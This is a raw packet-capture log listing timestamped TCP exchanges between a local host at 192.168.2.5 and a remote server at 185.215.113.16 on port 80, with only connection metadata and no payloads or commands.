Oct 29, 2024 05:03:34.723226070 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.723277092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.723309994 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.723368883 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.769510984 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.769748926 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.769831896 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.769870043 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.769905090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.769933939 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.769938946 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.769975901 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770009041 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770026922 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770044088 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770051003 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770077944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770112038 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770144939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770154953 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770183086 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770231009 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770282030 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770338058 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770389080 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770390034 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770423889 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770467997 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770617962 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770661116 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770669937 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770704031 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770737886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770750046 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770891905 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770944118 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.770946980 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.770997047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771030903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771064997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771078110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.771373987 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771408081 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771420956 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.771442890 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.771456003 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806030989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806061983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806094885 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806113005 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806149006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806159973 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806181908 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806219101 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806224108 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806256056 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806307077 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806322098 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806374073 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806423903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806441069 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806459904 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806509972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806519032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.806545019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806580067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.806586981 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808120966 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808172941 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808219910 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808223963 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808258057 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808304071 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808307886 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808343887 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808346033 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808377981 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808412075 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808419943 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808446884 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808490038 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808497906 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808532000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808568954 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808600903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808610916 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808635950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808669090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808676004 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808703899 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808706999 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.808738947 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808774948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.808785915 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.841958046 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842004061 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842063904 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.842077017 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842133999 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842170000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842186928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.842206001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842211962 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.842241049 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842277050 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842286110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.842312098 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842350006 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842353106 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.842389107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.842446089 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.848603964 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888396025 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888427973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888483047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888489008 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888516903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888546944 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888596058 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888597965 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888633966 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888667107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888676882 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888704062 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888717890 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888740063 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888768911 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888797998 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888837099 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888879061 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.888901949 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888935089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888969898 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.888974905 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889219999 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889255047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889272928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889317989 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889369965 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889370918 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889405966 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889440060 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889452934 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889475107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889503956 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889559984 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889833927 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889883995 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889910936 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.889935970 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.889969110 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890002012 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.890002966 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890043974 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.890218019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890253067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890285969 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890299082 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.890324116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.890379906 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.916831017 CET	80	50055	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.918612957 CET	50055	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.921804905 CET	50055	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925142050 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925209999 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925245047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925277948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925293922 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925314903 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925332069 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925369024 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925421000 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925452948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925467968 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925489902 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925497055 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925540924 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925575972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925585032 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925611019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925646067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925677061 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.925679922 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925715923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.925723076 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926042080 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926075935 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926085949 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926110983 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926160097 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926192999 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926203966 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926244020 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926278114 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926290035 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926312923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926320076 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926352024 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926387072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926397085 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926762104 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926814079 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926820993 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.926867008 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926944971 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.926980972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.927005053 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.927016973 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.927022934 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.927052021 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.927084923 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.927159071 CET	80	50055	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.927247047 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.960689068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960748911 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960784912 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960803986 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.960819006 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.960818052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960855961 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960889101 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960930109 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960942030 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.960968971 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.960987091 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.961028099 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961074114 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.961085081 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961133003 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961167097 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961205959 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:34.961256981 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961286068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:34.961308002 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.009705067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009742975 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009798050 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009815931 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.009833097 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009844065 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.009867907 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009913921 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009959936 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.009968996 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.009998083 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010031939 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010046005 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010066032 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010071039 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010101080 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010134935 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010143995 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010169029 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010202885 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010211945 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010236979 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010289907 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010324001 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010325909 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010359049 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010390997 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010402918 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010432005 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010443926 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010476112 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010515928 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010529041 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010601044 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010643959 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.010795116 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010828018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010862112 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010895014 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.010915041 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.014355898 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.043991089 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044047117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044099092 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044118881 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044133902 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044171095 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044204950 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044217110 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044258118 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044291019 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044305086 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044327974 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044333935 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044362068 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044404030 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044413090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044449091 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044490099 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044497967 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044531107 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044565916 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044611931 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044711113 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044744015 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044785976 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044792891 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044826984 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044861078 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044869900 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.044898033 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.044903040 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045228958 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045263052 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045275927 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045312881 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045348883 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045360088 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045382977 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045416117 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045449018 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045465946 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045485020 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045520067 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045530081 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045557976 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045875072 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045908928 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045950890 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.045959949 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.045993090 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.046026945 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.046035051 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.046061039 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.046098948 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.046128035 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.046145916 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.046168089 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.079791069 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.079859972 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.079915047 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.079916000 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.079951048 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.079987049 CET	80	50048	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:35.079994917 CET	50048	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:35.080020905 CET	80	50048	185.215.113.16	192.168.2.5
